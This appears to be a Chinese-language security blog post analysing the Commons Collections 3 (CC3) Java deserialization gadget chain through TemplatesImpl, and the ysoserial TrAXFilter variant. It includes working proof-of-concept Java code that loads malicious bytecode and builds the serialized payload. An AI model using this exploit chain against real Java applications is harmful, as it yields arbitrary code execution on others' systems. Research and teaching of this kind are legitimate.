切入口分析
cc3 用的是动态类加载、来执行自己的代码
通常我们用ClassLoader
来加载、而ClassLoader
会调用defineClass
从字节从加载一个类
protected final Class<?> defineClass(byte[] b, int off, int len)
throws ClassFormatError
{
return defineClass(null, b, off, len, null);
}
加载类是不会执行代码的,此时还需要一个初始化的地方
上面的defineclass
是protected,所以需要找到重写它、属性为public的地方。
这里我们找到一个没有写作用域的defineclass
、实际上是个friendly,在自己包里能调用。
查看其调用。
defineTransletClasses
函数中调用了这个defineclass
,但defineTransletClasses
为private,
再查看器调用。
发现有三处地方都调用了defineTransletClasses
,在最后一处调用,我们发现了newInstance
所以重点关注getTransletInstance
,因private
作用域,
再查其调用
最后找到newTransformer()
那么以上的逻辑为:调用newTransformer
方法,就会调用getTransletInstance()
,满足getTransletInstance
里面的逻辑后,就会调用它的初始化过程(newInstance)
。
初始化的类为_class[_transletIndex]
,它的赋值:_class[i] = loader.defineClass(_bytecodes[i]);
所以这条链从newTransformer
入手
切入
TemplatesImpl
类中getTransletInstance()
函数 需要对参数进行赋值,才能走到.newInstance();
反射修改
出现了空指针错误,下断点调试、查找空指针的位置。
有俩种方法解决:一是进去if (superClass.getName().equals(ABSTRACT_TRANSLET))
,
二是给_auxClasses
赋值。
但是下面对_transletIndex
有个判断,则就导致了,只能使用第一种方法。
private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
恶意类的父类应为"com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"
.
所以得加Test类(恶意类)得继承上述父类。
编译后、运行poc、成功执行。
这就意味着只要我们调用了Templatesmpl.newTransformer()
就会导致任意代码。
下面借助CC1的chainedTransformer
完成这个过程,也可以执行
那么就可以复用CC1的后半段链。
关键代码
public class Cc3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"yiya");
Field bytecodeField = tc.getDeclaredField("_bytecodes");
bytecodeField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://tmp//class//Test.class"));
byte[][] codes = {code};
bytecodeField.set(templates,codes);
Field tfactoryFiled = tc.getDeclaredField("_tfactory");
tfactoryFiled.setAccessible(true);
tfactoryFiled.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(1);
HashMap<Object,Object> map = new HashMap<>();
map.put("value","yiya");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
// for(Map.Entry entry:transformedMap.entrySet()){
// entry.setValue(r);
// }
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationConstructor.setAccessible(true);
Object o = annotationInvocationConstructor.newInstance(Target.class,transformedMap);
// serialize(o);
unserialize("ser3.bin");
}
ysoserial中的cc3
在ysoserial中使用了另外的一个类:TrAXFilter
回到Templatesmpl.newTransformer()
这,找找其他调用了newTransformer()
的地方。
TrAXFilter
类不能序列化、则需要调用其构造函数进行赋值。
这里就需要用到InstantiateTransformer
类来调用构造函数
使用InstantiateTransformer
类来调用TrAXFilter
的构造函数,进而调用Templatesmpl.newTransformer()
和CC1一样使用Transformer[] transformers
解决TrAXFilter
不能序列化问题
那么利用链为
评论区